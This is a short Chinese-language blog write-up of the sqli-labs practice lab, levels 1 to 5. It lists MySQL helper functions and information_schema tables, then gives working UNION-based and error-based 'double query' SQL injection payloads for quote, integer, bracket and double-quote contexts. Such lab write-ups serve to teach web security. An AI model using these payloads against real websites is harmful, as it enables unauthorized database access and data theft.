sqli-labs Writeup

原创

Yukikaze_cxy 于 2018-05-30 22:46:56 发布 174 收藏

【基础储备】

=常用的url编码=

%20 空格
%22 "
%23 #
%27 '

=字符串连接函数=

concat_ws(字段1,字段2...)

concat(字段1,字段2...)

=mysql一些函数=

user()：当前数据库连接使用的用户
database()：当前连接使用的数据库
version()：当前数据库的版本

=information_schema库中常用的表=

SCHEMATA：存储数据库的基本信息（show databases）
TABLES：存储表信息，记录数据库名和表名等信息（show tables from 数据库名）
COLUMNS：存储列信息，记录数据库名，表名和列名以及列的详细信息（show columns from 数据库名.表名）

=其他=

where条件中的列名需用单引号包裹，但可以用十六进制来表示（ASCII码）以绕开可能存在的单引号限制。

=双注入=
嵌套子查询，适用于注入时无返回位，有返回位时考虑用union select
原理：当在一个聚合函数，比如count函数后面如果使用分组语句就会把查询的一部分以错误的形式显示出来。
固定公式：
union select 1,2,... from (select count(*),concat(floor(rand(0)*2),(注入爆数据语句))a from information_schema.tables group by a)b

【less-1】基于错误的单引号
传入1',根据错误返回,猜测查询条件为：id = '$id' LIMIT 0,1
union select 1,2,...发现到3的时候正常返回
猜测sql为select aaa,bbb,ccc from ... where id = '$id' LIMIT 0,1,页面返回bbb,ccc
故构造的参数为：
a' union select 1,$2,$3 from ... where ... and '1'='1

【less-2】基于错误的int型
要求传参为int型,且没有引号限制，其他条件同1
猜测sql为select aaa,bbb,ccc from ... where id = '$id' LIMIT 0,1,页面返回bbb,ccc
故构造的参数为：
0 union select 1,$2,$3 from ... where ...

【less-3】基于错误的单引号+括号
传入1',根据错误返回，猜测查询条件为：(id = '$id') LIMIT 0,l,其他条件同1
猜测sql为select aaa,bbb,ccc from ... where (id = '$id') LIMIT 0,l,页面返回bbb,ccc
故构造的参数为：
a') union select 1,$2,$3 from ... where ... and ('1'='1

【less-4】基于错误的双引号
传入1",根据错误返回，猜测查询条件为：id = "$id" LIMIT 0,1,其他条件同1
猜测sql为select aaa,bbb,ccc from ... where (id = "$id") LIMIT 0,l,页面返回bbb,ccc
故构造的参数为：
a") union select 1,$2,$3 from ... where ... and ("1"="1

【less-5】双注入的单引号
传入1，显示正常但无返回位，传入1'报错，套用固定公式union select 1,2,3 from (select count(*),concat(floor(rand(0)*2))a from information_schema.tables group by a)b where '1'='1，返回错误Duplicate entry '1' for key 'group key'。在原公式的注入位输入select $1 from ... where ...，提示子查询返回超过1行,指定Limit n,1。
故构造的参数为：1' union select 1,2,3 from (select count(*),concat(floor(rand(0)*2),(select concat(0x23,$1,0x23,$2,...) from ... where ... limit n,1))a from information_schema.tables group by a)b where '1'='1
返回的结果字段以#分隔

参考：
https://blog.csdn.net/u012763794/article/details/51207833
http://www.91ri.org/7636.html